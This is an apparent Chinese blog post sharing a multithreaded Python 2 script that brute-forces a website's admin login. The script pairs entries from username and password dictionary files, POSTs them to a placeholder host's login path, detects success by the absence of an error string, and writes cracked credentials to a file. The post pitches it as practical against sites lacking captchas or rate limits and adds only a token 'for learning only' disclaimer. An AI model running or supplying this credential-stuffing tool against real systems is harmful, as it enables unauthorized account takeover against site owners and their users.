今天來弄一個后台破解的Python小程序,哈哈,直接上代碼吧,都有注釋~~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
# -*- coding: utf-8 -*-
# 利用python 寫的多線程爆破后台用戶名+密碼(自備字典),比較實用,即使是在信息安全這么重視的今天,還是有人不加驗證碼或者異常訪問限制之類的登陸驗證方式,這樣就很# 容易被弱口令爆破工具拿下,(本代碼僅限學習實用,禁止進行web攻擊,不承擔法律責任)
import
urllib2
import
urllib
import
httplib
import
threading
headers
=
{
"Content-Type"
:
"application/x-www-form-urlencoded"
,
"Connection"
:
"Keep-Alive"
,
"Referer"
:
"http://www.xxxxx.com/"
};
# referer:是代理的訪問來源地址
# lock = threading.Lock()
def
tryUser(user,password):
#print user,password
global
headers
global
outFile
conn
=
httplib.HTTPConnection(
"www.xxxxx.com"
)
# 遠程域名
if
len
(user) <
3
:
# 限制用戶名長度,排除字典中的無用數據
return
# 主動退出線程
else
:
#lock.acquire() # 多線程操作文件,提前加鎖,用后釋放
#line = inFile.readline()
#userData = line.strip().split(' # ') # strip() 默認去除空白字符包括' ','\t','\n'等
#lock.release()
user
=
user.strip()
passwd
=
password.strip()
params
=
urllib.urlencode({
'username'
: user,
'password'
: passwd})
conn.request(method
=
"POST"
, url
=
"/users/login"
, body
=
params, headers
=
headers)
# 后台路徑
responseText
=
conn.getresponse().read().decode(
'utf8'
)
# 網頁編碼
#print responseText # 第一次可以打印看看是否解析
if
not
responseText.find(u
'用戶名或者密碼不正確,請重新輸入!'
) >
0
:
print
'----- find user:'
, user,
'with password:'
, passwd,
'-----'
outFile.write(user
+
' '
+
passwd
+
'\n'
)
return
outFile
=
open
(
'accounts-cracked.txt'
,
'w'
)
if
__name__
=
=
'__main__'
:
tsk
=
[]
# 創建線程池
with
open
(r
'user.dic'
,
'r'
) as fUser:
# 使用with as 來打開文件,不需自己關閉文件,因為他會自己在合適的時候自已關閉(類似C# 中的using(...){}接口)
with
open
(r
'pass.dic'
,
'r'
) as fPass:
for
user
in
fUser.readlines():
for
password
in
fPass.readlines():
t
=
threading.Thread(target
=
tryUser,args
=
(user,password))
t.daemon
=
False
# 設置不進行進程守護
tsk.append(t)
# t.start()
fPass.seek(
0
)
# 記住這里要將文件重新移到文件首,不然就會出現只執行外層循環的第一條,因為內層在
# 迭代之后(readlines()是迭代器的形式,迭代一次后文件指針就指到文件尾了,迭代器
# 也是end了)第二次就沒有password 在 fPass中,也就是說 for password in fPass.readlines():
# 為空,所以這里的內層循環就不會被執行了,因此也就是迭代器清零的問題(C ++ itertor 常有)
# join()無參數就是完全阻塞主線程,等待線程執行完 有參數就是說,
# 在主線程等待一秒后就不阻塞線程了,繼續執行主線程,這里的意思是一秒鍾開一個線程
# 不能再thread start之前調用join(), 因為join() 是線程運行時調度
for
t
in
tsk:
t.start()
t.join(
1
)
print
"All thread OK,maybe not "
outFile.close()
|